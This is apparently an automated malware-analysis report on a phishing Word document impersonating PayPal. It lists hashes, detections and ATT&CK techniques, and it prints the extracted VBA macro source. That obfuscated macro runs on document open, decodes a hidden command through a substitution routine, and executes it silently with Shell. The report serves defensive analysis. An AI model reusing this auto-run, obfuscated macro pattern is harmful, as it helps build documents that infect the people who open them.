Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1cbb1afc45ea8a0e…

MALICIOUS

Office (OLE)

47.5 KB Created: 2018-10-10 02:11:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: 8506caad14eb3f2e2067aedaf5f81c26 SHA-1: 6c83a3be2696e05906757f6758234f1516f0e13f SHA-256: 1cbb1afc45ea8a0e39b3698b7f464e670b8896f544320ed33f19769cd5451470
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The Document_Open macro utilizes a Shell() call, indicating an attempt to execute arbitrary code. The document body impersonates PayPal, requesting sensitive personal information under the guise of account verification, which is a phishing lure. No specific malware family could be identified.

Heuristics 5

  • ClamAV: Doc.Malware.Generic-6715186-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6715186-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2961 bytes
SHA-256: 483da09ffa1f3ce62a6e814f0113df77a0968786b9025f7b6805e296c5f855af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
ac = "2"
ac = "3"
actually ac
ac = "5"
End Sub

Attribute VB_Name = "filterException"
Sub fputc(fileindex, cstdlib, ByRef GUI)
GUI = Right(Left(fileindex, cstdlib), 1)
End Sub

Sub incf(ByRef data)
data = data + 1
End Sub

Sub Be(The, ByRef fpStackWalk64)
fpStackWalk64 = ""
MERCHANTABILITY = 1
WARRANTY MERCHANTABILITY, fpStackWalk64, The
End Sub

Sub WARRANTY(ByRef template, ByRef returnValue, clean)
success = Len(clean)
If template <= success Then
ft = ""
fputc clean, template, ft
pt = 1
p ft, pt
ut = ""
ULONG64 pt - 2, ut
returnValue = returnValue + ut
template = template + 1
WARRANTY template, returnValue, clean
End If
End Sub

Sub ULONG64(ContextRecord, ByRef context)
context = ""
If ContextRecord < 1 Then
fputc shutdown.details, Len(shutdown.details) + ContextRecord, context
Else
fputc shutdown.details, ContextRecord, context
End If
End Sub

Sub PCSTR(ByRef each0, ByRef SIGUSR1, try)
If each0 < Len(shutdown.details) Then
    ft = ""
    fputc shutdown.details, each0, ft
    If try <> ft Then
    each0 = each0 + 1
    PCSTR each0, SIGUSR1, try
    Else
    SIGUSR1 = each0
    End If
End If
End Sub

Sub p(try, ByRef SIGUSR1)
each0 = 1
SIGUSR1 = 1
PCSTR each0, SIGUSR1, try
End Sub
  


Attribute VB_Name = "instances"
Public Sub actually(analysis)
shutdown.EXIT_FAILURE = analysis
End Sub

Attribute VB_Name = "shutdown"
Attribute VB_Base = "0{4FCE4F8A-F0B3-4576-B882-B7854387FEB6}{3AFB2CD7-F646-43F3-AB0E-EE046835B48A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub try_Change()

inline = 88
inline = 74
inline = 100
inline = 8
inline = 56
inline = 66
inline = 94
inline = 94
inline = 41
inline = 42
inline = 78
inline = 39
verbose = shutdown.try
inline = 39
inline = 74
inline = 50
inline = 69
inline = 82
inline = 43
inline = 97
inline = 44
inline = 62
inline = 63
inline = 76
inline = 57
inline = 90
inline = 73
inline = 43
inline = 26
inline = 64
inline = 9
inline = 98
inline = 90
inline = 25
Shell verbose, 0
inline = 56
inline = 21
inline = 2
inline = 82
inline = 91
inline = 56
inline = 15
inline = 38
inline = 11
inline = 25
inline = 37
inline = 78
inline = 23
inline = 63
inline = 10
inline = 6
inline = 54
End Sub

Private Sub EXIT_FAILURE_Change()
terminate
End Sub

Attribute VB_Name = "sig"
Public Sub terminate()
fbe = ""
Be shutdown.fler, fbe
shutdown.pid_t = fbe
shutdown.try = shutdown.pid_t
End Sub

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